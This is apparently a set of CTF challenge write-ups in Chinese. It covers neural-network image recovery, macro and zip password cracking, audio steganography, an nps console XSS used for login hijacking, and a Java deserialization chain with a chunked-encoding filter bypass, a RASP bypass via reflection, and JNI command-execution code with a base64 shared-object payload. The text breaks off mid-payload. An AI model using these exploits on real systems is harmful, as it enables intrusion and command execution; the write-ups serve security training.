1.先是压缩包密码爆破,密码为11452,然后开始代码审计,发现是一个线性的神经网络。
源代码如下:
import torch
import torch.nn as nn
import numpy as np
import matplotlib.pyplot as plt
from PIL import Image
import cv2
class JBN(nn.Module):
def __init__(self):
super(JBN, self).__init__()
self.main = nn.Sequential(
nn.Linear(100, 256),
nn.ReLU(),
nn.Linear(256, 512),
nn.ReLU(),
nn.Linear(512, 452 * 280),
nn.Tanh()
)
def forward(self, x):
img = self.main(x)
img = img.view(-1, 452, 280)
return img
def watch_flag(img):
flag = cv2.imread('./data/data/flag.png')
gray_image = cv2.cvtColor(flag, cv2.COLOR_BGR2GRAY)
flag_tensor = torch.from_numpy(np.array(gray_image))
flag_tensor = flag_tensor.unsqueeze(0).transpose(1, 2)
img_tensor = img
flag_tensor = flag_tensor.unsqueeze(0)
img_tensor = img_tensor.unsqueeze(0)
loss_fn = torch.nn.MSELoss()
loss = loss_fn(flag_tensor.float(), img_tensor)
return loss
jbn = JBN()
g_optimizer = torch.optim.Adam(jbn.parameters(), lr=0.001)
min_loss = float('inf')
for epoch in range(10):
random_noise = torch.randn(1, 100)
jbn_img = jbn(random_noise)
g_optimizer.zero_grad()
g_loss = watch_flag(jbn_img)
g_loss.backward()
g_optimizer.step()
with torch.no_grad():
if g_loss < min_loss:
min_loss = g_loss
torch.save(jbn.state_dict(), 'jbn.pth')
2.代码审计:
(1)该网络读取flag.png后进行训练,经过几轮训练后使模型记住flag.png,最后将模型保存为flag.pth
(2)构造网络,并加载模型
class JBN(nn.Module):
def __init__(self):
super(JBN, self).__init__()
self.main = nn.Sequential(
nn.Linear(100, 256),
nn.ReLU(),
nn.Linear(256, 512),
nn.ReLU(),
nn.Linear(512, 452 * 280),
nn.Tanh()
)
def forward(self, x):
img = self.main(x)
img = img.view(-1, 452, 280)
return img
jbn = torch.load('JBN.pth')
(3)生成随机噪声的图片,要和模型需要的图片相吻合,也就是(1,100)的张量
test_input = torch.randn(1, 100)
(4)经过模型绘图后得到flag.png的Tensor,需要注意的是模型的最后一层用的是双曲正切函数Tanh()
所以这里得到的flag.png的Tensor对象的取值范围是[-1,1],所以在绘图时处理一下
plt.imshow((prediction + 1) / 2)
(5)最后得到生成后的图像就是flag
1.打开doc发现需要密码,查看属性可以发现备注处有16进制字符串,且作者名为宏孩儿,尝试查看插入的宏代码。
2.因为doc格式可以不需要文档密码直接提取其中的vba宏代码,所以安装oletools工具,使用olevba attachment命令查看插入的宏代码,可以找到加密函数。
3.分析一下可以知道就是简单的异或,enc应该就是备注中的16进制字符串,写个脚本解密一下可以得到doc的密码,解开doc可以发现base64字符串,解码一下可知是zip文件。
from Crypto.Util.number import *
enc = long_to_bytes(0x60290f0225011a72697f420d1f4e402778231b)
key = [19,71,122,99,65,111,43,67]
abc = ""
for i in range(len(enc)):
abc += chr(enc[i] ^ key[i%8])
print(abc)
4.打开zip文件后发现flag被加密,用010去除伪加密,同时可以发现zip数据解析错误,原因在于flag.png的文件名长度8被改成了4,修复即可打开压缩包里的图片得到flag
1.题目给了一个key文件,以及一个加密的zip,key文件内其实是压缩包明文压缩后的前半部分,因此压缩包虽然不是store的压缩模式,也能进行已知部分明文攻击。
2.下一个压缩包提示密码是2字节,但是是不可见字符,有很多种爆破的方法
import zipfile
import libnum
from tqdm import trange
for i in trange(256):
for j in range(256):
fz = zipfile.ZipFile('secret key.zip', 'r')
password = libnum.n2s(i) + libnum.n2s(j)
try:
fz.extractall(pwd=password)
print(password)
fz.close()
break
except:
fz.close()
continue
else:
continue
break
得到密码是b’\x9c\x07’
解压后在txt里得到三段秘钥e48d3828 5b7223cc 71851fb0
同时在zpaq文件的文件尾得到
因此要还原pkzip的三段秘钥,此处本意是要根据pkzip的算法,写脚本来还原加密过程
但是发现bkcrack自带了秘钥还原的接口,因此就不给出相关算法代码了
把得到的密码,md5以下,用bandizip或者其他工具解压zpaq即可
1.扫描一下汉信码hint.png,获得hint。(https://tuzim.net/hxdecode/)
flag length : 189
0urS3cret
2.用oursecret分离出一个类似于字典的txt文件。
3.用Audacity查看嘘.wav文件,看它的频谱图,得知它的频率为[800,900,1000,1100,1200,1300,1400,1500,1700,1800]以及它的每个频率变化的时间为0.1s,同时可以得知它的采样频率为44100
4.写一个脚本读取wav文件的数据长度
import numpy as np
import wave
import scipy.fftpack as fftpack
SAMPLE_RATE = 44100
SAMPLE_TIME = 0.1
SAMPLE_NUM = int(SAMPLE_RATE * SAMPLE_TIME) #4410
LIST = [800, 900, 1000, 1100, 1200, 1300, 1400, 1500, 1600, 1700]
with wave.open('嘘.wav', 'rb') as f: #读取为数组
wav_data = np.frombuffer(f.readframes(-1), dtype=np.int16)
N = len(wav_data) #获取数据长度
print (N) #1666980
a = (N/(44100*0.1))/189
print(a) #2.0
可以得知数据长度N=1666980,然后再a = (N/(44100*0.1))/42来计算每个字符占了多少时长为0.2s
5.接下来处理一下数字信号,并根据分离出的字典来获取隐藏的数据
import numpy as np
import wave
import scipy.fftpack as fftpack
SAMPLE_RATE = 44100
SAMPLE_TIME = 0.1
SAMPLE_NUM = int(SAMPLE_RATE * SAMPLE_TIME) #4410
LIST = [800, 900, 1000, 1100, 1200, 1300, 1400, 1500, 1600, 1700]
# 傅里叶变换
def fft(data):
N = len(data) #获取数据长度
fft_data = fftpack.fft(data) #得到频域信号
abs_fft = np.abs(fft_data) #计算幅值
abs_fft = abs_fft/(N/2)
half_fft = abs_fft[range(N//2)] #取频域信号的前半部分
return half_fft
def dec_100ms(wave_data_100_ms): #解码100毫秒的音频数据
fft_ret = fft(wave_data_100_ms)
for index, freq in enumerate(LIST):
if np.max(fft_ret[int(freq*SAMPLE_TIME) - 2 : int(freq*SAMPLE_TIME) + 2]) > 0.8:
print(freq, 'Hz有值')
return index
def dec_sentence(wav_data): #解码整个句子
_100ms_count = len(wav_data) // SAMPLE_NUM
print('待解码音频包含', _100ms_count // 2, '个字')
ret = ''
for i in range(0, _100ms_count, 2):
index = 0
for k in range(2):
index = index*10 + dec_100ms(wav_data[i*SAMPLE_NUM + k*SAMPLE_NUM : i*SAMPLE_NUM + (k+1)*SAMPLE_NUM])
print('序号:', index)
ret += string[index]
return ret
if __name__ == '__main__':
with open('haha.txt', 'r', encoding='utf8') as f:
string = f.read()
with wave.open('嘘.wav', 'rb') as f: #读取为数组
wav_data = np.frombuffer(f.readframes(-1), dtype=np.int16)
print(dec_sentence(wav_data))
运行脚本后获得flag
比较鸡肋的一个nps控制台的XSS漏洞,不过说不定在蓝队溯源反制的时候用得上。
题目这里为了部署方便,把bridge_port
和web_port
设为了同一个端口,不过在攻击过程中,其实也不一定需要访问web_port
。
漏洞成因是bootstrapTable
并未配置escape
字段,再加上nps的用户默认配置文件。
例如页面模板 web/views/client/list.html:42
中并未配置 escape: true
conf\nps.conf
配置文件默认配置有public_vkey=123
,使用该key也可以使用npc连接至nps
攻击者使用public_vkey
作为客户端连接至nps,并可配置用户名、密码、备注等信息,web控制台的bootstrapTable
并未转义这些字符,最终形成XSS
漏洞
配置npc.conf
,这里经过简单审计,发现remark
键后存在=
将被截断,简单绕过
[common]
server_addr=127.0.0.1:8024
conn_type=tcp
vkey=123
remark=
这里根据题目的语法配置一个登录框,做登录劫持
使用如下命令连接
npc -config npc.conf
稍等一段时间即可收到
题目给了jar包
审计代码发现 /read
路由存在反序列化接口,且题目存在 jackson 依赖,可以打jackson 的反序列化链子来执行任意代码。
但注意到filter进行了限制
这里通过 servletRequest.getContentLength()
到的值不能大于 1145,否则无法进入到反序列化的路由,而构造长度小于 1145 的payload几乎是不可能的事,所以得另外找个方法绕过。
通过调试,追溯调用栈,深入源码看看这个contentLength是怎么来的,在 org.apache.coyote.http11.Http11Processor#prepareInputFilters
方法中可以发现,当请求头中出现 transfer-encoding: chunked
时,contentLength的值会被设置为 -1L
所以使用 chunked
编码来绕过 getContentLength()
的限制。
成功触发反序列化(注意chunked编码报文格式)
可以反序列化执行任意代码,尝试打内存马执行命令,但发现存在RASP,hook了底层执行命令的native方法 forkAndExec
同时发现权限不是root,没法直接读flag,要RCE才行,利用java代码读取文件目录结构,发现/home/ctf/有个simpleRASP.jar的文件,写java代码读取该文件审计
发现不仅hook了forkAndExec
,还hook了 loadLibrary0
这下也没法直接使用常规的 System.load()
来直接加载 JNI来绕过。
但深入源码不难发现其底层的native方法 java.lang.ClassLoader.NativeLibrary#load
并未被hook,并且反射也是可以正常使用的,所以可以尝试使用反射来调用 java.lang.ClassLoader.NativeLibrary
中的 load
方法来加载恶意so文件执行命令
//调用java.lang.ClassLoader$NativeLibrary类的load方法加载动态链接库
......
public class EvilClass {
public static native String execCmd(String cmd);
}
......
ClassLoader cmdLoader = EvilClass.class.getClassLoader();
Class> classLoaderClazz = Class.forName("java.lang.ClassLoader");
Class> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary");
Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class);
load.setAccessible(true);
Field field = classLoaderClazz.getDeclaredField("nativeLibraries");
field.setAccessible(true);
Vector
制作JNI
准备 EvilClass.java
public class EvilClass {
public static native String execCmd(String cmd);
}
在当前目录运行
javac EvilClass.java
javah EvilClass
生成 EvilClass.h 文件如下
/* DO NOT EDIT THIS FILE - it is machine generated */
#include
/* Header for class EvilClass */
#ifndef _Included_EvilClass
#define _Included_EvilClass
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: EvilClass
* Method: execCmd
* Signature: (Ljava/lang/String;)Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_EvilClass_execCmd
(JNIEnv *, jclass, jstring);
#ifdef __cplusplus
}
#endif
#endif
根据EvilClass.h文件编写EvilClass.c文件
EvilClass.c
#include
#include
#include
#include
#include
#include "EvilClass.h"
int execmd(const char *cmd, char *result)
{
char buffer[1024*12]; //定义缓冲区
FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
if (!pipe)
return 0; //返回0表示运行失败
while (!feof(pipe))
{
if (fgets(buffer, 128, pipe))
{ //将管道输出到result中
strcat(result, buffer);
}
}
pclose(pipe); //关闭管道
return 1; //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_EvilClass_execCmd(JNIEnv *env, jclass class_object, jstring jstr)
{
const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
char result[1024 * 12] = ""; //定义存放结果的字符串数组
if (1 == execmd(cstr, result))
{
// printf(result);
}
char return_messge[100] = "";
strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
//system();
return cmdresult;
}
编译生成对应动态链接库文件
gcc -fPIC -I $JAVA_HOME/include -I $JAVA_HOME/include/linux -shared -o libcmd.so EvilClass.c
将该so文件base64编码放到java代码中方便加载。
利用 TemplateImpl 来执行java代码,这里和内存马直接就放一起了,方便一些
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Vector;
public class EvilClass extends AbstractTranslet {
public static native String execCmd(String cmd);
//恶意动态链接库文件的base64编码
private static final String EVIL_JNI_BASE64 = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA